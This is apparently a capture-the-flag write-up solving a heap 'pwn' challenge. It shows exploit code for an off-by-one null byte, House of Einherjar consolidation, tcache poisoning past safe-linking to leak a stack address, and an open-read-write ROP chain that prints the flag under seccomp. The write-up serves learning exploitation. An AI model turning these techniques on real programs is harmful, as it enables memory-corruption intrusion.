Six Seven Revenge

0xFun CTFby smothy

67 revenge - PWN

Points: 500 | Flag: 0xfun{null_byt3_p01s0n_t0_h3ap_c0ns0l1d4t10n} | Solved by: Smothy @ 0xN1umb

hacker vibes

what we got

Heap note manager binary, 16 slots, max malloc 0x500. classic CRUD - create, read, edit, delete. Arch Linux glibc 2.42 so all modern protections on: Full RELRO, canary, NX, PIE + seccomp whitelist (only open/read/write/mmap/mprotect/exit basically).

checksec chall Full RELRO | Canary | NX | PIE seccomp-tools dump ./chall open/openat/read/write/close/fstat/mmap/mprotect/brk/exit/exit_group/rt_sigreturn

no execve = no shell. gotta do open-read-write (ORW) to read the flag file.

the bug

off-by-one null byte in edit_note:

c
ssize_t n = read(0, notes[idx], sizes[idx]);
notes[idx][n] = '\0';  // <-- if read returns sizes[idx], writes one byte past

if you fill the entire buffer, that null byte lands on the next chunk's size field LSB.

the solve

ngl this one was a journey. like 5 debug scripts later lmao

phase 1: leak heap + libc

allocate 4 chunks of 0x500, free 0 and 2 so they go to unsorted bin and form a doubly-linked list. re-allocate them - the residual fd/bk pointers leak heap addresses and libc main_arena.

python
create(p, 0, 0x500, b'A'*8)
create(p, 1, 0x500, b'B'*8)
create(p, 2, 0x500, b'C'*8)
create(p, 3, 0x500, b'D'*8)
delete(p, 0); delete(p, 2)
create(p, 0, 0x500, b'X'*8)  # gets chunk0 back, has heap leak in residual data
read_note(p, 0) # -> heap_leak
create(p, 2, 0x500, b'Y'*8)  # gets chunk2 back, has libc leak
read_note(p, 2) # -> libc_base

phase 2: house of einherjar

the real trick. null byte overflow on chunk5's size field (0x501 -> 0x500) clears PREV_INUSE. then we fake a large chunk header in chunk0's data area with fd=bk=self (passes unlink checks). set chunk5's prev_size to the distance between fake chunk and chunk5.

free chunk5 -> backward consolidation merges everything from fake_chunk through chunk5 into one massive 0x2860 byte free chunk in unsorted bin. but chunk4 (0x500 bytes sitting in the middle) is still "allocated" - we have a pointer to it and can read/write it.

python
# fake chunk in chunk0 data area
fake = flat(0, prev_size_val | 1, fake_chunk_addr, fake_chunk_addr, 0, 0)
edit(p, 0, fake)

# null byte overflow via chunk4
edit(p, 4, b'\x00' * 0x4f0 + p64(prev_size_val))
delete(p, 5)  # boom - consolidation

phase 3: carve the overlap

now we have a huge free chunk overlapping chunk4. allocate 6 skip chunks (0x510 each = 0x1E60 total) to consume space before chunk4. then allocate from the remainder with size 0x1f8 (chunk 0x200) - this lands right on top of chunk4's data.

big gotcha here: had to use 0x200 size chunks because 0x70/0x80 sizes get intercepted by smallbin entries created when glibc's malloc_consolidate() fires during the skip allocations. that took like 3 debug scripts to figure out fr fr

python
for idx in [5, 7, 8, 9, 14, 15]:
    create(p, idx, 0x500, b'\x00')  # 6 skip chunks

create(p, 10, 0x1f8, b'\x00')  # overlaps chunk4!

phase 4: tcache poison -> leak stack

with the overlap, editing idx 10 modifies idx 4's data and vice versa. free two overlap chunks, poison the tcache fd pointer (with safe-linking XOR) to point near environ in libc. malloc twice -> second allocation returns a pointer to environ -> read it for stack address.

python
delete(p, 11); delete(p, 10)
poisoned_fd = PROTECT_PTR(overlap_fd_addr, environ_addr - 0x18)
edit(p, 4, p64(poisoned_fd))  # poison through overlap
create(p, 10, 0x1f8, b'\x00')  # consume
create(p, 11, 0x1f8, b'\x00')  # gets environ!
read_note(p, 11) # -> stack leak

phase 5: ORW ROP to stack

same tcache poison trick but target the stack (return address). write an ORW chain:

  1. open("flag.txt", O_RDONLY) -> fd 3
  2. read(3, heap_buf, 0x100)
  3. write(1, heap_buf, 0x100) -> flag goes to stdout
  4. exit(0)

one more gotcha: the pop rdx gadget at offset 0x4cae was in a non-executable section of libc lmaooo. strace showed SEGV_ACCERR right at that address. had to find an alternative: pop rdx; xor eax, eax; ret at 0xd77bd (in .text section). the xor eax,eax is fine since we always set rax with pop_rax right after.

python
POP_RDX = 0xd77bd  # pop rdx; xor eax, eax; ret

rop = flat(
    pop_rdi, flag_str_addr, pop_rsi, 0, pop_rax, 2, syscall_ret,        # open
    pop_rdi, 3, pop_rsi, buf_addr, pop_rdx, 0x100, pop_rax, 0, syscall_ret,  # read
    pop_rdi, 1, pop_rsi, buf_addr, pop_rdx, 0x100, pop_rax, 1, syscall_ret,  # write
    pop_rdi, 0, pop_rax, 60, syscall_ret,                                # exit
)

poison tcache again, write ROP to stack, function return triggers the chain:

$ python3 solve.py [+] Overlap confirmed! [+] Stack leak (environ): 0x7ffd86992908 [+] FLAG: 0xfun{null_byt3_p01s0n_t0_h3ap_c0ns0l1d4t10n}

flag

0xfun{null_byt3_p01s0n_t0_h3ap_c0ns0l1d4t10n}


smothy out ✌️